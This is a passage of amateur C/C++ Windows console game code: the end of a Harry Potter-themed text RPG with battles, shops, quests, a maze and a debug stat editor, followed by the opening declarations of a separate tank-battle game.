Sleep(1000);
cout << "突然一群员工跑了过来" << endl;
Sleep(1000);
cout << "员工:这是你**的吗" << endl;
Sleep(1000);
cout << "1,撒谎 其他,是!" << endl;
cin >> a;
if (a == 1) {
cout << "员工:是谁干的?" << endl;
Sleep(1000);
cout << "你随便指了一个员工" << endl;
Sleep(1000);
cout << "他!" << endl;
Sleep(1000);
cout << "那群员工匆匆跑了过去" << endl;
Sleep(1000);
cout << "你赶快跑上楼梯" << endl;
Sleep(1000);
lie = 1;
}
else {
cout << "员工:干掉他!" << endl;
Sleep(1000);
fight("员工", 3000, 200, 100, 14, 1000);
if (dead) return 0;
fight("员工", 3000, 200, 100, 14, 1000);
if (dead) return 0;
fight("员工", 3000, 200, 100, 14, 1000);
if (dead) return 0;
fight("员工", 3000, 200, 100, 15, 1000);
if (dead) return 0;
fight("员工", 3000, 200, 100, 17, 1000);
if (dead) return 0;
if (rand() % 3 == 0) {
cout << "你获得了技能书铁甲咒" << endl;
bag[7]++;
Sleep(1000);
}
cout << "你赶快跑上楼梯" << endl;
health += 500;
}
Sleep(1000);
cout << "你遇到了副部长" << endl;
Sleep(1000);
fight("副部长", 10000, 1000, 100, 20, 3000);
health += 5000;
if (dead) return 0;
if (lie) {
cout << "上次的员工跑了过来" << endl;
Sleep(1000);
cout << "员工:你,你骗了我们!" << endl;
Sleep(1000);
fight("员工", 3000, 200, 100, 14, 1000);
if (dead) return 0;
fight("员工", 3000, 200, 100, 14, 1000);
if (dead) return 0;
fight("员工", 3000, 200, 100, 14, 1000);
if (dead) return 0;
fight("员工", 3000, 200, 100, 15, 1500);
if (dead) return 0;
fight("员工", 3000, 200, 100, 17, 2000);
if (dead) return 0;
if (rand() % 3 == 0){
cout << "你获得了技能书铁甲咒" << endl;
bag[7]++;
Sleep(1000);
}
health += 500;
}
cout << "你遇到了部长";
fight("部长", 15000, 1500, 150, 20, 4000);
if (dead) return 0;
cout << "你获得:" << endl;
cout << "抽奖券*100 技能书昏昏倒地或技能书铁甲咒 全幅药水*50";
cout << " 金币*2000 经验石X*50" << endl;
bag[0] += 100; bag[8]++; bag[23] += 50; money += 2000; bag[5] += 50; amm = 1;
Sleep(3000);
}
else if (a == 2) return 0;
else {
cout << "请勿乱输";
Sleep(1000);
}
}
else {
cout << "你已占领魔法部 可以进入以下地方" << endl;
cout << "0,退出 1,泡温泉 2,矿洞" << endl;
int b;
cin >> b;
switch (b)
{
case 0:
break;
case 1:
time_t c_start, t_start, c_end, t_end;
c_start = clock();
t_start = time(NULL);
cout << "正在泡温泉 按下任意键停止" << endl;
_getch();
c_end = clock();
t_end = time(NULL);
cout << "你获得" << (int)difftime(c_end, c_start) / 100 << "元" << endl;
cout << "你获得" << (int)difftime(c_end, c_start) / 10 << "经验" << endl;
experience += (int)difftime(c_end, c_start) / 10;
money += (int)difftime(c_end, c_start) / 100;
_getch();
break;
case 2:
cout << "你走进矿洞" << endl;
Sleep(1000);
ict++;
if (ict == 5) cout << "你不小心**在墙上,触发了机关" << endl;
else if (ict > 5) cout << "你找到原来触发机关的地方,按下那块岩石,密道又出现了" << endl;
cout << "0,退出 1,挖矿";
if (ict > 4) cout << " 2,暗道";
cout << endl;
int c;
cin >> c;
if (c == 1) dig();
else if (c == 2 && ict > 4) {
cout << "你走进暗道" << endl;
_getch();
cout << "你发现了一个完全不同的世界,里面充满了怪物" << endl;
_getch();
cout << "每去一个地方都有可能遇到他们" << endl;
_getch();
cout << "但你有一种直觉,穿过这个森林,就能找到某些东西" << endl;
_getch();
MessageBox(0, TEXT("建议 生命>60000 攻击>20000 防御>2000 速度>1000 时来打"), TEXT("重要提示"), MB_OK);
if (MessageBox(0, TEXT("用 wasd 移动,o出口,I入口,@你"), TEXT("重要提示"), MB_OKCANCEL | MB_ICONINFORMATION) != IDOK){
MessageBox(0, TEXT("下次再来吧!"), TEXT("重要提示"), MB_OK);
return 0;
};
cout << "开始吧!" << endl;
maze();
}
else cout << "请勿乱输" << endl;
Sleep(1000);
break;
}
}
return 0;
}
int finalfight(string Hname)
{
int hisH = 1000000000, hisA = 1000000, hisD = 500000, hisSP = 5000;
int hfaint = 0, hhurt = 0, hbeat = 0;
int mfaint = 0, mhurt = 0;
dead = false;
int ha = hisA;
int his = hisA + hisD + hisH;
while (1)
{
if (hfaint > 0) {
if (rand() % 3 == 0) {
cout << "对方使用技能:咒立停!停止了魔咒" << endl;
hfaint = 1;
}
hfaint -= 1;
}
if (hbeat == 1) {
if (rand() % 10 == 0) {
cout << "对方一躲,躲过了你的石头" << endl;
hbeat = 0;
}
else {
cout << "对方躲闪不急,石头正好撞在他的鼻子上 扣血50滴" << endl;
hisH -= 50;
}
}
if (mfaint > 0) {
if (Sl[6]) mfaint = 0;
else mfaint -= 1;
}
if (mhurt > 0) {
if (Sl[6]) mhurt = 0;
else {
mhurt -= 1;
cout << "你的心像被一把刀刺穿了一样 扣血200滴" << endl;
health -= 200;
}
}
if (mfaint <= 0) {
if (rand() % 3 && Sl[0]) {
cout << "你使用技能快快复苏 生命增加200" << endl;
health += 200;
}
if (rand() % 3 && Sl[1]) {
cout << "你使用技能铁甲护身 生命增加100 防御增加50" << endl;
health += 100;
defense += 50;
}
if (rand() % 3 && Sl[2]) {
cout << "你使用技能昏昏倒地 " << Hname << "一回合之内不能攻击" << endl;
hfaint += 1;
}
if (rand() % 3 && Sl[3]) {
cout << "你使用技能神锋无影 攻击增加200 对方扣血200滴" << endl;
hisH -= 200;
attack += 200;
}
if (rand() % 3 && Sl[5]) {
if (rand() % 10) {
cout << "你使用技能统统石化 " << Hname << "二回合之内不能攻击" << endl;
hfaint += 2;
}
else {
cout << "你使用技能统统石化 " << Hname << "十回合之内不能攻击" << endl;
hfaint += 10;
}
}
if (rand() % 4 == 0 && Sl[7]) {
cout << "你使用技能召唤咒!召唤出石怪跟" << Hname << "战斗" << endl;
hisH = monsterfight(Hname, hisH, hisA, hisD, 23, hisSP);
if (hisH < 1)
{
cout << "对方**亡" << endl; Sleep(1000);
cout << "全部人都来庆祝你" << endl; Sleep(1000);
cout << "突然," << Hname << "的魔杖一转,指向了你。" << endl; Sleep(1000);
cout << "里面发出一束红色的光柱" << endl; Sleep(1000);
cout << "你连忙拿魔杖一挡" << endl; Sleep(1000);
cout << "那光柱击中你的魔杖,**了" << endl; Sleep(1000);
cout << "你的魔杖断了" << endl; Sleep(1000);
cout << "你被炸出20多米" << endl; Sleep(1000);
cout << "未完待续..." << endl; Sleep(10000);
return 0;
}
if (Sl[0]) {
cout << "在对方和石怪的战斗中,你已经恢复了2000生命" << endl;
if (maxhealth < health + 2000) health = maxhealth;
else health += 2000;
}
}
if (rand() % 4 == 0 && Sl[8]) {
cout << "你使用技能召唤咒!召唤出石怪跟" << Hname << "战斗" << endl;
}
if (rand() % 3 && Sl[9]) {
cout << "你使用技能万弹齐发!变出几十块石头" << endl;
hbeat = 1;
}
if (rand() % 3 && Sl[10]) {
cout << "你使用技能钻心咒!对方将疼痛5回合" << endl;
hhurt += 5;
}
if (rand() % 3 && Sl[11]) {
cout << "魂魄出窍!你使用夺魂咒,企图让" << Hname << "自己攻击自己!" << endl;
Sleep((rand() % 2000) + 1000);
cout << Hname << "被你控制了,开始攻击自己" << endl;
Sleep(700);
int ran = rand() % 40 - 20;
if (hisA + ran > hisD) {
cout << "对方发起进攻 自己扣血" << hisH - hisD + ran << "滴 剩余" << hisH - (hisA - hisD + ran) << "滴" << endl;
hisH -= hisA - hisD + ran;
}
else cout << "对方发起进攻 自己扣血0滴 剩余" << hisH << "滴" << endl;
}
if (rand() % 2 && Sl[12]) {
cout << "你使用技能阿瓦达索命 " << Hname << "扣血" << hisH - hisH / 4 << "滴" << endl;
hisH /= 4;
}
Sleep(1000);
int ran = rand() % 40 - 20;
if (rand() % 10000 > hisSP) {
if (attack + ran > hisD) {
cout << "你发起进攻 " << Hname << "扣血" << attack - hisD + ran << "滴 剩余" << hisH - (attack - hisD + ran) << "滴" << endl;
hisH -= attack - hisD + ran;
}
else cout << "你发起进攻 " << Hname << "扣血0滴 剩余" << hisH << "滴" << endl;
}
else
{
if (rand() % 2) cout << "你一脚踹了过去,但没有踢中" << endl;
else {
cout << "你一脚踹了过去,但只擦着了腰" << endl;
if ((attack / 3) + ran > hisD) {
cout << Hname << "扣血" << (attack / 3) + ran - hisD << "滴 剩余" << hisH - ((attack / 3) + ran - hisD) << "滴" << endl;
hisH -= (attack / 3) + ran - hisD;
}
else cout << Hname << "扣血0滴 剩余" << hisH << "滴" << endl;
}
}
}
Sleep(700);
if (hhurt > 0) {
hhurt -= 1;
cout << "对方因中了你的钻心咒,正捂着心大叫呢 扣血200滴" << endl;
hisH -= 200;
}
if (hisH <= 0) {
if (rand() % 3 == 0) {
cout << "对方发动技能:恢复如初 满血复活" << endl;
hisH = ha;
Sleep(1000);
}
else {
cout << "对方**亡"<< endl; Sleep(1000);
cout << "全部人都来庆祝你" << endl; Sleep(1000);
cout << "突然," << Hname << "的魔杖一转,指向了你。" << endl; Sleep(1000);
cout << "里面发出一束红色的光柱" << endl; Sleep(1000);
cout << "你连忙拿魔杖一挡" << endl; Sleep(1000);
cout << "那光柱击中你的魔杖,**了" << endl; Sleep(1000);
cout << "你的魔杖断了" << endl; Sleep(1000);
cout << "你被炸出20多米" << endl; Sleep(1000);
cout << "未完待续..." << endl; Sleep(10000);
return 0;
}
}
if (rand() % 3 == 0) {
cout << "对方发动技能:快快复苏 生命加200" << endl;
hisH += 200;
}
if (rand() % 3 == 0) {
cout << "对方发动技能:盔甲护身 生命加50 防御增加50" << endl;
hisH += 50;
hisD += 50;
}
if (rand() % 3 == 0) {
cout << "对方使用技能神锋无影 攻击增加200 扣血200滴" << endl;
health -= 200;
hisA += 200;
}
if (rand() % 3 == 0) {
cout << "对方使用技能昏昏倒地 " << name << "一回合之内不能攻击" << endl;
mfaint += 1;
}
if (rand() % 3 == 0)
{
if (rand() % 10) {
cout << "对方使用技能统统石化 " << name << "二回合之内不能攻击" << endl;
mfaint += 2;
}
else {
cout << "对方使用技能统统石化 " << name << "十回合之内不能攻击" << endl;
mfaint += 10;
}
}
if (rand() % 3 == 0) {
cout << "对方使用技能阿瓦达索命 " << name << "扣血" << health - health / 4 << "滴" << endl;
health /= 4;
}
Sleep(1000);
if (hfaint <= 0) {
int ran = rand() % 40 - 20;
if (rand() % 10000 > speed) {
if (hisA + ran > defense) {
cout << Hname << "发起进攻 " << "你扣血" << hisA - defense + ran << "滴 剩余" << health - (hisA - defense + ran) << "滴" << endl;
health -= hisA - defense + ran;
}
else cout << Hname << "发起进攻 " << "你扣血0滴 剩余" << health << "滴" << endl;
}
else {
if (rand() % 2) cout << Hname << "一脚踹了过来,但没有踢中" << endl;
else {
if ((hisA / 3) + ran > hisD) {
cout << Hname << "发起进攻 你扣血" << (hisA / 3) + ran - defense << "滴 剩余" << health - ((hisA / 3) + ran - defense) << "滴" << endl;
health -= ((hisA / 3) + ran - defense);
}
else cout << Hname << "发起进攻 " << "你扣血0滴 剩余" << health << "滴" << endl;
}
}
Sleep(1000);
if (health <= 0) {
if (Sl[6] && rand() % 2) {
cout << "你发动技能:恢复如初 满血复活" << endl;
health = maxhealth;
Sleep(1000);
}
else {
cout << "你**亡";
health = 20;
dead = true;
return 0;
}
}
}
}
return 0;
}
int main()
{
int isbreak;
isbreak = false;
if (MessageBox(0, TEXT("除输入名字外,请不要输入任何字符,否则将导致游戏崩溃!"), TEXT("重要提示"), MB_OKCANCEL | MB_ICONINFORMATION) != IDOK)
{
MessageBox(0, TEXT("既然你不同意,那就别玩了"), TEXT("重要提示"), MB_OK);
return 0;
};
srand((unsigned)time(NULL));
cout << " 1.2.9 \n";
cout << " MagicWorld--HarryPotter \n";
cout << " \n";
cout << " / > \n";
cout << " / > / \n";
cout << " < _____ > / \n";
cout << " |-O--O-| / \n";
cout << " / == - . / \n";
cout << " / . [ ] \n";
cout << " / /` ___/ \n";
cout << " \n";
cout << " by evan\n";
cout << "输入‘start’开始游戏 \n";
string start;
cin >> start;
for (int i = 8; i < 100; i++) wandname[i] = "1";
if (start == "start") {
int i;
system("cls");
for (i = 0; i < 20; i++) {
cout << "loading..." << endl << "--------------------------" << endl << " ";
for (int j = 0; j <= i % 5; j++) cout << "+==+";
cout << " " << endl << "--------------------------" << endl;
switch (rand() % 4)
{
case 0:
cout << "打怪是升级和提升战力的好方法。" << endl;
break;
case 1:
cout << "开始游戏时记得选择阵营。" << endl;
break;
case 2:
cout << "退出时要保存。" << endl;
break;
case 3:
cout << "新手开始游戏时会有3瓶经验药水1张抽奖券。" << endl;
break;
}
Sleep(250);
system("cls");
}
while (1)
{
isbreak = false;
cout << "1,登录 2,注册";
int a;
cin >> a;
if (a == 1) login();
else Reg();
while (1) {
if (isbreak)
{
break;
}
system("cls");
cout << "魔法人士:" << name << endl;
cout << "势力:";
if (camp) cout << "伏地魔" << endl;
else cout << "哈利波特" << endl;
cout << "生命:" << health << "/" << maxhealth << endl;
cout << "攻击:" << attack << endl;
cout << "防御:" << defense << endl;
cout << "速度:" << speed << endl;
cout << "等级:" << level << endl;
cout << "经验:" << experience << "/" << level * 100 << endl;
cout << "金币:" << money << endl;
cout << "1,魔法部(攻击即可占领) 2,大街(**/阻止食**徒) 3,";
if (camp) cout << "霍格沃茨(哈利波特不在) ";
else cout << "伏地魔总部(伏地魔不在) ";
cout << "4,霍格沃茨(最后**) 5,奥利凡德魔杖商店 6,抽奖 7,经验石店 8,背包 9,工厂 10,材料店 11,任务 12,终极任务 13,副本 14,保存 ";
if (camp) cout << "15, 医疗兵(伏地魔的)";
else cout << "15, 庞弗雷女士 ";
cout << "16,改变参数(测试专用 需要密码) 17,设置 18,登出" << endl;
cin >> a;
switch (a)
{
case 1:
MM();
break;
case 2:
street();
break;
case 3:
for (int i = 1; i < 100; i++) {
cout << "|";
for (int j = 0; j < 10 && i < 100; j++, i++) {
if (nowlevel + 1 < i) cout << " " << i << " |";
else cout << ":" << i << ":|";
}
cout << endl;
}
int num;
cin >> num;
if (nowlevel + 1 < num) cout << "你未解锁这关" << endl;
else checkpoint(num);
Sleep(1000);
break;
case 4:
if (camp) {
if (f) finalfight("哈利·波特");
else cout << "你需要先寻找哈利波特的下落" << endl;
}
else {
if (f) finalfight("伏地魔");
else cout << "你需要先寻找伏地魔的下落" << endl;
}
Sleep(1000);
break;
case 5:
cout << "1 柳条独角兽尾毛魔杖 100元" << endl;
cout << "2 胡桃木龙神经魔杖 200元" << endl;
cout << "3 鹅耳枥木魔杖 550元" << endl;
cout << "4 柳条魔杖 1200元" << endl;
cout << "5 花心木魔杖 3650元" << endl;
cout << "6 冬青木凤凰羽毛魔杖 5780元" << endl;
cout << "7 紫杉木凤凰羽毛魔杖 7120元" << endl;
cout << "8 老魔杖 50000元" << endl;
cout << "0 退出 0元" << endl;
int b;
cin >> b;
switch (b)
{
case 1:
buywand(6, 100);
system("cls");
break;
case 2:
buywand(7, 200);
system("cls");
break;
case 3:
buywand(8, 550);
system("cls");
break;
case 4:
buywand(9, 1200);
system("cls");
break;
case 5:
buywand(10, 3650);
system("cls");
break;
case 6:
buywand(11, 5780);
system("cls");
break;
case 7:
buywand(12, 7120);
system("cls");
break;
case 8:
buywand(13, 50000);
system("cls");
break;
default:
break;
}
break;
case 6:
LD();
break;
case 7:
cout << "1 经验石R 100元 100经验" << endl;
cout << "2 经验石SR 200元 250经验" << endl;
cout << "3 经验石SSR 400元 500经验" << endl;
cout << "4 经验石SSS 1000元 1200经验" << endl;
cout << "5 经验石X 2000元 2500经验" << endl;
cout << "0 退出 0元 0经验" << endl;
int c;
cin >> c;
switch (c)
{
case 1:
buy(1, 100);
system("cls");
break;
case 2:
buy(2, 200);
system("cls");
break;
case 3:
buy(3, 550);
system("cls");
break;
case 4:
buy(4, 1200);
system("cls");
break;
case 5:
buy(5, 3650);
system("cls");
break;
default:
break;
}
break;
case 8:
cout << "1,查看魔杖 2,查看药水 3,查看经验石 4,学习技能" << endl;
cin >> b;
if (b == 1) w();
else if (b == 2) p();
else if (b == 3) e();
else if (b == 4) s();
else {
cout << "请勿乱输" << endl;
Sleep(1000);
}
break;
case 9:
int material1, material2, mn1, mn2;
cout << "1,制作 2,查看材料";
cin >> material1;
if (material1 == 1) {
cout << "你要用什么杖芯?" << endl;
for (int ij = 0; ij < 9; ij++) cout << ij + 1 << "," << Material1name[ij] << " " << bag[ij + 24] << "个" << endl;
cin >> material1;
cout << "几个?" << endl;
cin >> mn1;
cout << "你要用什么木材?" << endl;
for (int ij = 0; ij < 10; ij++) cout << ij + 1 << "," << Material2name[ij] << " " << bag[ij + 33] << "个" << endl;
cin >> material2;
cout << "几个?" << endl;
cin >> mn2;
make(material1 + 23, material2 + 32, mn1, mn2);
break;
}
else if (material1 == 2) {
cout << "杖芯:" << endl;
for (int ij = 0; ij < 9; ij++) cout << ij + 1 << "," << Material1name[ij] << " " << bag[ij + 24] << "个" << endl;
cout << "木材:" << endl;
for (int ij = 0; ij < 10; ij++) cout << ij + 1 << "," << Material2name[ij] << " " << bag[ij + 33] << "个" << endl;
_getch();
}
else cout << "请勿乱输";
break;
case 10:
break;
case 11:
if (xy == 1) {
if (ane == 0) cout << "再闯 1 关副本";
else if (ane == 1) cout << "买两件商品";
else if (ane == 2) cout << "回血一次";
else if (ane == 3) cout << "杀**10个人";
cout << "(" << D_Of_C << "/" << OK << ")" << endl;
if (D_Of_C >= OK) {
cout << "任务完成!!"; maxhealth += 200; health += 200; defense += 20; xy = 0; bag[43]++;
}
Sleep(1000);
}
else {
ane = rand() % 4;
D_Of_C = 0;
xy = 1;
if (ane == 0) {
cout << "再闯 1 关副本"; OK = 1;
}
else if (ane == 1) {
cout << "买两件商品"; OK = 2;
}
else if (ane == 2) {
cout << "回血一次"; OK = 1;
}
else if (ane == 3) {
cout << "杀**10个人"; OK = 10;
}
Sleep(1000);
}
break;
case 12:
if (xy1 == 1) {
if (ane1 == 0) {
if (camp) cout << "杀**1个邓布利多";
else cout << "杀**1个纳尼吉";
}
else if (ane1 == 1) cout << "消耗5000元";
else if (ane1 == 2) {
if (camp) cout << "杀**5个穆迪";
else cout << "杀**5个卢修斯·马尔福";
}
else if (ane1 == 3) cout << "杀**100个生物";
else if (ane1 == 4) cout << "再升10级";
cout << "(" << D_Of_C1 << "/" << OK1 << ")" << endl;
if (D_Of_C1 >= OK1) {
cout << "任务完成!!" << endl;
xy1 = 0;
cout << "增加500元 攻击力+10 防御力+10 生命+500" << endl;
money += 500; attack += 200; health += 1000; maxhealth += 1000; defense += 150; bag[43] += 5;
}
Sleep(1000);
}
else {
ane1 = rand() % 5;
D_Of_C1 = 0;
xy1 = 1;
if (ane1 == 0) {
if (camp) cout << "杀**1个邓布利多";
else cout << "杀**1个纳尼吉";
OK1 = 1;
}
else if (ane1 == 1) {
cout << "消耗5000元"; OK1 = 5000;
}
else if (ane1 == 2) {
if (camp) cout << "杀**5个穆迪";
else cout << "杀**5个卢修斯·马尔福";
OK1 = 5;
}
else if (ane1 == 3) {
cout << "杀**100个生物"; OK1 = 100;
}
else if (ane1 == 4) {
cout << "再升10级"; OK1 = 10;
}
Sleep(1000);
}
break;
case 13:
cout << "1 金钱副本" << LE1 << "级 2 经验副本" << LE2 << "级" << endl;
int y;
cin >> y;
if (y == 1) {
for (int i = 0; i < LE1 % 5; i++) {
if (rand() % 3 == 0) fight2("木人桩", 1500, 100, 10, 0, 1000);
else if (rand() % 3 == 1) fight2("沙包", 3000, 50, 20, 0, 1000);
else fight2("木板", 1000, 100, 10, 0, 1000);
if (dead) break;
}
for (int i = 0; i < (LE1 / 5) % 25; i++) {
if (dead) break;
if (rand() % 3 == 0) fight2("石人桩(这有吗)", 3000, 200, 20, 0, 2000);
else if (rand() % 3 == 1) fight2("石包(这有吗)", 6000, 100, 60, 0, 2000);
else fight2("石板", 3000, 300, 30, 0, 2000);
}
for (int i = 0; i < (LE1 / 25) % 125; i++) {
if (dead) break;
if (rand() % 3 == 0) fight2("铁人桩(这有吗)", 6000, 400, 40, 0, 4000);
else if (rand() % 3 == 1) fight2("铁包(这有吗)", 12000, 200, 120, 0, 4000);
else fight2("铁板", 6000, 400, 40, 0, 4000);
}
for (int i = 0; i < (LE1 / 125) % 625; i++) {
if (dead) break;
if (rand() % 3 == 0) fight2("金人桩(这有吗)", 12000, 800, 80, 0, 6500);
else if (rand() % 3 == 1) fight2("金包(这有吗)", 24000, 400, 240, 0, 6500);
else fight2("金板", 12000, 800, 80, 0, 6500);
}
if (!dead) {
LE1++;
if (ane == 0) D_Of_C++;
}
}
if (y == 2) {
for (int i = 0; i < LE2 % 5; i++) {
if (rand() % 3 == 0) fight1("木人桩", 1500, 100, 10, 0, 1000);
else if (rand() % 3 == 1) fight1("沙包", 3000, 50, 20, 0, 1000);
else fight1("木板", 1000, 100, 10, 0, 1000);
if (dead) break;
}
for (int i = 0; i < (LE2 / 5) % 25; i++) {
if (dead) break;
if (rand() % 3 == 0) fight1("石人桩(这有吗)", 3000, 200, 20, 0, 1000);
else if (rand() % 3 == 1) fight1("石包(这有吗)", 6000, 100, 60, 0, 1000);
else fight1("石板", 3000, 300, 30, 0, 1000);
}
for (int i = 0; i < (LE2 / 25) % 125; i++) {
if (dead) break;
if (rand() % 3 == 0) fight1("铁人桩(这有吗)", 6000, 400, 40, 0, 4000);
else if (rand() % 3 == 1) fight1("铁包(这有吗)", 12000, 200, 120, 0, 4000);
else fight1("铁板", 6000, 400, 40, 0, 4000);
}
for (int i = 0; i < (LE2 / 125) % 625; i++) {
if (dead) break;
if (rand() % 3 == 0) fight1("金人桩(这有吗)", 12000, 800, 80, 0, 6500);
else if (rand() % 3 == 1) fight1("金包(这有吗)", 24000, 400, 240, 0, 6500);
else fight1("金板", 12000, 800, 80, 0, 6500);
}
if (!dead) {
LE2++;
if (ane == 0) D_Of_C++;
}
}
break;
case 14:
save();
cout << "保存成功!";
Sleep(1000);
break;
case 15:
Hos();
Sleep(1000);
break;
case 16:
int pw;
cout << "密码:";
cin >> pw;
if (pw == 1212) {
cout << "0~42,改变背包 43,金币 44,等级 45,经验 46,生命 47,防御 48,攻击 49,最大生命 50,进入魔法部权力(0没有 0<有) 51,速度" << endl;
int num1, num2;
cout << "几号:";
cin >> num1;
cout << "改变成:";
cin >> num2;
if (num1 <= 42) bag[num1] = num2;
else {
switch (num1)
{
case 43:
money = num2;
break;
case 44:
level = num2;
break;
case 45:
experience = num2;
break;
case 46:
health = num2;
break;
case 47:
defense = num2;
break;
case 48:
attack = num2;
break;
case 49:
maxhealth = num2;
break;
case 50:
amm = num2;
break;
case 51:
speed = num2;
break;
default:
break;
}
}
levelup();
cout << "改变成功";
}
else cout << "密码错误" << endl;
Sleep(1000);
break;
case 17:
cout << "1,关卡攻略 2,关卡功能" << endl;
int xd;
cin >> xd;
if (xd == 1) system("start https://paste.ubuntu.com/p/2YQBCmYvSb/");
if (xd == 2) {
cout << "我们先介绍一下图标" << endl;
cout << "╔═══╗ ╔═══╗ ╔═══╗ ╔═══╗" << endl;
cout << "║ @ ║ ║ I ║ ║ o ║ ║ # ║" << endl;
cout << "╚═══╝ ╚═══╝ ╚═══╝ ╚═══╝" << endl;
cout << "你自己 出口 入口 墙" << endl;
cout << "╔═══╗ ╔═══╗ ╔═══╗ ╔═══╗" << endl;
cout << "║ 1 ║ ║ 2 ║ ║ 3 ║ ║ 4 ║" << endl;
cout << "╚═══╝ ╚═══╝ ╚═══╝ ╚═══╝" << endl;
cout << "1级怪 2级怪 3级怪 4级怪" << endl;
cout << "命1000 命2000 命3000 命4000" << endl;
cout << "攻250 攻500 攻750 攻1000" << endl;
cout << "防10 防20 防30 防40" << endl;
cout << "速50 速100 速150 速200" << endl;
cout << "╔═══╗ ╔═══╗ ╔═══╗ ╔═══╗" << endl;
cout << "║ 5 ║ ║ 6 ║ ║ 7 ║ ║ 8 ║" << endl;
cout << "╚═══╝ ╚═══╝ ╚═══╝ ╚═══╝" << endl;
cout << "5级怪 6级怪 7级怪 8级怪" << endl;
cout << "命5000 命6000 命7000 命8000" << endl;
cout << "攻1250 攻1500 攻1750 攻2000" << endl;
cout << "防50 防60 防70 防80" << endl;
cout << "速250 速300 速350 速400" << endl;
cout << "╔═══╗ ╔═══╗ ╔═══╗ ╔═══╗" << endl;
cout << "║ 9 ║ ║ S ║ ║ B ║ ║ T ║" << endl;
cout << "╚═══╝ ╚═══╝ ╚═══╝ ╚═══╝" << endl;
cout << "9级怪 药水商店 书店 告示牌" << endl;
cout << "命9000" << endl;
cout << "攻2250" << endl;
cout << "防90" << endl;
cout << "速450" << endl;
cout << "╔═══╗" << endl;
cout << "║ X ║" << endl;
cout << "╚═══╝" << endl;
cout << "传送机" << endl;
cout << "输入图标了解详细,0退出" << endl;
string st;
cin >> st;
if (st == "@") system("start https://paste.ubuntu.com/p/cdJPnhXddT/");
else if (st == "I" || st == "i") system("start https://paste.ubuntu.com/p/h5npMzvDBX/");
else if (st == "o" || st == "O") system("start https://paste.ubuntu.com/p/By6Fdyq9wq/");
else if (st == "#") system("start https://paste.ubuntu.com/p/DswXYhVGFn/");
else if (st <= "9" && st >= "1") system("start https://paste.ubuntu.com/p/4vZDjY7fX4/");
else if (st == "S" || st == "s") system("start https://paste.ubuntu.com/p/SvSTDGrcD3/");
else if (st == "B" || st == "b") system("start https://paste.ubuntu.com/p/MMqwYn63N9/");
else if (st == "T" || st == "t") system("start https://paste.ubuntu.com/p/mXgfbyhGGJ/");
else if (st == "X" || st == "x") system("start https://paste.ubuntu.com/p/M6svDYryGt/");
else if (st == "0");
else cout << "请勿乱输" << endl;
Sleep(1000);
}
break;
case 18:
isbreak = true;
}
levelup();
}
}
}
}
新手天翼
坦克大战(无老巢版)
#include<stdio.h>
#include <windows.h>
#include<conio.h>
#include<time.h>
void gotoxy(int x,int y);//控制光标。X表示横坐标,Y表示纵坐标
void my_print();//设置界面
void print_thing();//打印物品
void refresh_map();//刷新地图
void stop();//暂停
void print_my_tank();//打印我的坦克
void print_tank_1();//打印坦克1号
void print_tank_2();//打印坦克2号
void print_tank_3();//打印坦克3号
void clear_my_tank();//清除我的坦克,用于坦克移动后
void clear_tank_1();//清除坦克1号
void clear_tank_2();//清除坦克2号
void clear_tank_3();//清除坦克3号
void turn_up(int a[][3]);//我的坦克上转
void turn_down(int a[][3]);//我的坦克下转
void turn_left(int a[][3]);//我的坦克左转
void turn_right(int a[][3]);//我的坦克右转
void turn_up_1(int a[][3]);//坦克1号上转
void turn_down_1(int a[][3]);//坦克1号下转
void turn_left_1(int a[][3]);//坦克1号左转
void turn_right_1(int a[][3]);//坦克1号右转
void turn_up_2(int a[][3]);//坦克2号上转
void turn_down_2(int a[][3]);//坦克2号下转
void turn_left_2(int a[][3]);//坦克2号左转
void turn_right_2(int a[][3]);//坦克2号右转
void turn_up_3(int a[][3]);//坦克3号上转
void turn_down_3(int a[][3]);//坦克3号下转
void turn_left_3(int a[][3]);//坦克3号左转
void turn_right_3(int a[][3]);//坦克3号右转
void my_move();//我的坦克移动
void move_1();//坦克1号移动
void move_2();//坦克2号移动
void move_3();//坦克3号移动
void print_bullet(int x,int y);//打印敌方坦克的子弹
void print_my_bullet(int x,int y);//打印我的子弹
void clear_bullet(int x,int y);//清楚子弹
int check_bullet(int x,int y);//**子弹是否碰撞,没碰返回1,碰到返回0
void shoot();//计算我的坦克子弹的坐标
void shoot_1();//计算坦克1号子弹的坐标
void shoot_2();//计算坦克2号子弹的坐标
void shoot_3();//计算坦克3号子弹的坐标
void change_thing();//记录物品的变化
void change_bullet();//纪录子弹的变化
void change_star();//记录星星的变化
void change_tank();//记录我的坦克的变化
void change_tank_1();//记录坦克1号的变化
void change_tank_2();//记录坦克2号的变化
void change_tank_3();//记录坦克3号的变化
void switch_weapons();//切换武器
void switch_skin();//切换皮肤
void help();//帮助
void check_game();//**游戏胜负
void check_lv();//**等级
void next_level();//下一关
void get_map();//获得每一关的地图
void initial();//将所有量初始化
void gameover();//游戏结束
void console();//控制窗口
void screen_1();//屏幕1
void screen_2(char *p,int color);//屏幕2
void screen_3();//屏幕3
void produce_star();//产生一个星星
void print_star();//打印星星
void check_star();//**星星的数量
void clear_star();//清除星星
int my_abs(int x);//绝对值函数,用**的会有问题
int judge(int x,int y,int state);//判断我的坦克能否前进
int judge2(int x,int y,int state);// 辅助电脑判断能否前进
int check1(int x,int y);//辅助电脑判断的函数
int check2(int x,int y);//辅助电脑判断的函数
int check3(int x,int y);//辅助电脑判断的函数
int life=100;//生命
int enemy=1;//敌人数量
int level=1;//关卡
int weapons=1;//武器
int skin=1;//皮肤
int star=1;//星星
int s=0,t=0;//星星坐标
int score=0;//分数
int lv=10;//等级
int speed=15;//速度
char *info[5]={" "," "," "," "," "};//通知
int map[30][30]={0};//记录整个屏幕上的物体
int thing[28][28]={0};//障碍物,不包括边界
//int home[3][4]={{2,2,2,2},{2,1,1,2},{2,1,1,2}};//老家,3行4列
int home[3][4]={{4,4,4,4},{4,1,1,4},{4,1,1,4}};
int my_tank[3][3]={0};//我的坦克
int tank_1[3][3]={0};//敌人的坦克1号
int tank_2[3][3]={0};//敌人的坦克2号
int tank_3[3][3]={0};//敌人的坦克3号
int x , y ;//我的坦克中心坐标
int x1 , y1;//坦克1号中心坐标
int x2 , y2;//坦克2号中心坐标
int x3 , y3;//坦克3号中心坐标
int m=0 , n=0 ;//我的坦克子弹的坐标
int m1=0 , n1=0;//坦克1号子弹的坐标
int m2=0 , n2=0;//坦克2号子弹的坐标
int m3=0 , n3=0;//坦克3号子弹的坐标
int state=0; //我的坦克方向(1上,2下,3左,4右)
int state_1=0;//坦克1号方向
int state_2=0;//坦克2号方向
int state_3=0;//坦克3号方向
